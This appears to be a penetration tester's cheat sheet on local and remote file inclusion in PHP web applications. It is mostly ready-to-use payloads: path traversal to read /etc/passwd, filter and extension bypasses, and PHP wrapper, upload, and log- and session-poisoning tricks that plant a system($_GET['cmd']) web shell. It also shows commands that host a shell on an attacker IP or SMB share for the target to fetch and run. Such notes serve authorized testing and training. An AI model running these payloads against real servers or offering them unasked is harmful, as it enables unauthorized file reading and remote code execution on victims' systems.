Common Files to test (usually everyone can read those):
/etc/passwd
C:\Windows\boot.ini
Command | Description |
---|---|
Basic LFI | |
/index.php?language=/etc/passwd |
Basic LFI |
/index.php?language=../../../../etc/passwd |
LFI with path traversal |
/index.php?language=/../../../etc/passwd |
LFI with name prefix |
/index.php?language=./languages/../../../../etc/passwd |
LFI with approved path |
LFI Bypasses | |
/index.php?language=....//....//....//....//etc/passwd |
Bypass basic path traversal filter |
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 |
Bypass filters with URL encoding |
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] |
Bypass appended extension with path truncation (obsolete) |
/index.php?language=../../../../etc/passwd%00 |
Bypass appended extension with null byte (obsolete) |
/index.php?language=php://filter/read=convert.base64-encode/resource=config |
Read PHP with base64 filter |
almost any RFI vulnerability is also an LFI vulnerability, as any function that allows including remote URLs usually also allows including local ones. However, an LFI may not necessarily be an RFI. This is primarily because of three reasons:
http://
, ftp://
, https://
).allow_url_include
setting to be enabled. (read php.ini
via LFI)try and include a URL
Start with a local URL like http://127.0.0.1:80/index.php
to test it independently of Firewall settings etc...
Note: It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include
setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion. This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.
impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Now, we can include our script by using a UNC path (e.g. \\<OUR_IP>\share\shell.php
), and specify the command with (&cmd=whoami
) as we did earlier, ie.: http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
Command | Description |
---|---|
PHP Wrappers | |
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id |
RCE with data wrapper. the data wrapper is only available to use if the ( allow_url_include ) setting is enabled in the PHP configurations. (read configs via LFI first to verify) |
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" > Note: To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use $_REQUEST ). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. <\?php system('id')?> ) |
RCE with input wrapper Only on POST Endpoints the input wrapper is only available to use if the ( allow_url_include ) setting is enabled in the PHP configurations. (read configs via LFI first to verify) |
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" |
RCE with expect wrapper Must be installed as an extension on the server to work: extension=expect in php.ini |
RFI | |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> |
Host web shell |
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Also possible with ftp (incase http gets blocked by firewall/app/waf), but we have to run a ftp server isntead of webserver: python3 -m pyftpdlib -p 21 |
Include remote PHP web shell |
LFI + Upload | |
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif |
Create malicious image |
/index.php?language=./profile_images/shell.gif&cmd=id |
RCE with malicious uploaded image |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php |
Create malicious zip archive 'as jpg' |
/index.php?language=zip://shell.zip%23shell.php&cmd=id |
RCE with malicious uploaded zip |
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg |
Create malicious phar 'as jpg' |
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id |
RCE with malicious uploaded phar |
Log Poisoning | |
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd |
Read PHP session parameters |
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E |
Poison PHP session with web shell |
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id |
RCE through poisoned PHP session |
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' |
Poison server log |
/index.php?language=/var/log/apache2/access.log&cmd=id |
RCE through poisoned PHP session |
Command | Description |
---|---|
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 |
Fuzz page parameters |
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 |
Fuzz LFI payloads |
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 |
Fuzz webroot path |
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 |
Fuzz server configurations |
LFI Wordlists | |
LFI-Jhaddix.txt | |
Webroot path wordlist for Linux | |
Webroot path wordlist for Windows | |
Server configurations wordlist for Linux | |
Server configurations wordlist for Windows | |
[[php-wrappers]] | PHP Wrappers to access different I/O streams |
Function | Read Content | Execute | Remote URL |
---|---|---|---|
PHP | |||
include() /include_once() |
✅ | ✅ | ✅ |
require() /require_once() |
✅ | ✅ | ❌ |
file_get_contents() |
✅ | ❌ | ✅ |
fopen() /file() |
✅ | ❌ | ❌ |
NodeJS | |||
fs.readFile() |
✅ | ❌ | ❌ |
fs.sendFile() |
✅ | ❌ | ❌ |
res.render() |
✅ | ✅ | ❌ |
Java | |||
include |
✅ | ❌ | ❌ |
import |
✅ | ✅ | ✅ |
.NET | |||
@Html.Partial() |
✅ | ❌ | ❌ |
@Html.RemotePartial() |
✅ | ❌ | ✅ |
Response.WriteFile() |
✅ | ❌ | ❌ |
include |
✅ | ✅ | ✅ |
This is a significant difference to note, as executing files may allow us to execute functions and eventually lead to code execution, while only reading the file's content would only let us to read the source code without code execution. Furthermore, if we had access to the source code in a whitebox exercise or in a code audit, knowing these actions helps us in identifying potential File Inclusion vulnerabilities, especially if they had user-controlled input going into them.
if we were at the root path (/
) and used ../
then we would still remain in the root path. So, if we were not sure of the directory the web application is in, we can add ../
many times, and it should not break the path (even if we do it a hundred times!).
Tip: It can always be useful to be efficient and not add unnecessary
../
several times, especially if we were writing a report or writing an exploit. So, always try to find the minimum number of../
that works and use it. You may also be able to calculate how many directories you are away from the root path and use that many. For example, with/var/www/html/
we are3
directories away from the root path, so we can use../
3 times (i.e.../../../
).
One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of (../
) to avoid path traversals. For example:
$language = str_replace('../', '', $_GET['language']);
This example does not replace it recursively so ....//
would result in ../
(..
+ ../
+ /
= only the middle part will be removed).
Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. ....\/
), or adding extra forward slashes (e.g. ....////
)
Some web filters may prevent input filters that include certain LFI-related characters, like a dot .
or a slash /
used for path traversals. However, some of these filters may be bypassed by URL encoding our input, such that it would no longer include these bad characters, but would still be decoded back to our path traversal string once it reaches the vulnerable function.
![[Pasted image 20240430102707.png]]
Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded
string, which may also bypass other types of filters.
Other Bypassing mechanisms see: [[Command Injections]]
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
Does not let users escape from path via regex. But here we could use the approved path and append ../
:
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
.php
), to ensure that the file we include is in the expected extensionobsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4
.
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated
, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.
) then the /.
would also be truncated, and PHP would call (/etc/passwd
).
If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (.php
) would be truncated, and we would have a path without an appended extension.
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
Example script to generate payload:
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
Just make sure, only .php
gets truncated.
PHP versions before 5.5 were vulnerable to null byte injection
, which means that adding a null byte (%00
) at the end of the string would terminate the string and not consider anything after it.